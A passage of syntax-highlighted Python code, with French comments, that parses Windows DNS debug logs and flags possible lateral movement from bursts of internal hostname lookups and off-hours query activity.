function" style="color:hsl(256, 54%, 50%)">parse_dns_debug_log</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">log_path</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""Analyser le journal de débogage DNS Windows et extraire les paires client-&gt;nom d'hôte."""</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Motif pour les lignes de requête du journal de débogage DNS</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    query_pattern </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> re</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token builtin" style="color:hsl(212, 92%, 35%)">compile</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">r'(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}).*?UDP Rcv\s+([\d\.]+)\s+\w+\s+Q\s+\[\w+\s+\w+\s+\w+\]\s+(\w+)\s+(.+)'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    queries </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> defaultdict</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token builtin" style="color:hsl(212, 92%, 35%)">list</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># ip_client -&gt; [(horodatage, nom_hôte, type_requête)]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">with</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">open</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">log_path</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'r'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> encoding</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token string" style="color:hsl(139, 66%, 32%)">'utf-8'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> errors</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token string" style="color:hsl(139, 66%, 32%)">'replace'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">as</span><span class="token plain"> f</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> line </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> f</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            m </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> query_pattern</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">search</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">line</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">not</span><span class="token plain"> m</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">continue</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            ts_str</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> client_ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> query_type</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> raw_hostname </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> m</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">groups</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Seuls les clients internes interrogeant des noms internes nous intéressent</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">not</span><span class="token plain"> client_ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">startswith</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'10.'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'172.'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'192.168.'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">continue</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Nettoyer l'encodage du nom d'hôte (format DNS wire dans le journal de débogage)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            hostname </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> raw_hostname</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">replace</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'('</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">''</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">replace</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">')'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'.'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">strip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'.'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">try</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                ts </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> datetime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">strptime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ts_str</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'%Y-%m-%d %H:%M:%S'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">except</span><span class="token plain"> ValueError</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">continue</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            queries</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain">client_ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> hostname</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> query_type</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">return</span><span class="token plain"> queries</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">def</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">detect_lateral_movement_patterns</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">queries</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> internal_prefix</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'10.'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'172.'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'192.168.'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""Analyser les motifs de requêtes pour les indicateurs de mouvement latéral."""</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    findings </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> client_ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> query_list </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> queries</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">items</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Trier par horodatage</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        query_list</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">sort</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">key</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token keyword" style="color:hsl(356, 75%, 47%)">lambda</span><span class="token plain"> x</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> x</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Trouver les rafales : &gt;30 noms d'hôtes internes uniques résolus en 10 minutes</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        internal_queries </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> qt </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> query_list</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">any</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">endswith</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">s</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> s </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'.corp.local'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'.internal'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'.lan'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">len</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">internal_queries</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&lt;</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">10</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">continue</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Fenêtre glissante de 10 minutes</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> i</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">start_ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> _</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">enumerate</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">internal_queries</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            window </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                host </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> host </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> internal_queries</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&lt;=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ts </span><span class="token operator" style="color:hsl(212, 92%, 35%)">-</span><span class="token plain"> start_ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">total_seconds</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&lt;=</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">600</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># fenêtre de 10 min</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            unique_hosts_in_window </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">len</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token builtin" style="color:hsl(212, 92%, 35%)">set</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">window</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> unique_hosts_in_window </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&gt;</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">30</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                findings</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'client_ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> client_ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'indicator'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'RESOLUTION_INTERNE_MASSIVE'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'detail'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">unique_hosts_in_window</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> noms d\'hôtes internes uniques dans une fenêtre de 10 minutes débutant </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">start_ts</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'severity'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'HIGH'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">break</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Détecter un timing inhabituel : requêtes hors heures (minuit - 5h)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        off_hours_queries </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> qt </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> query_list</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&lt;=</span><span class="token plain"> ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">hour </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&lt;</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">5</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">len</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">off_hours_queries</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&gt;</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">20</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            findings</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'client_ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> client_ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'indicator'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'ACTIVITE_HORS_HEURES'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'detail'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f'</span><span 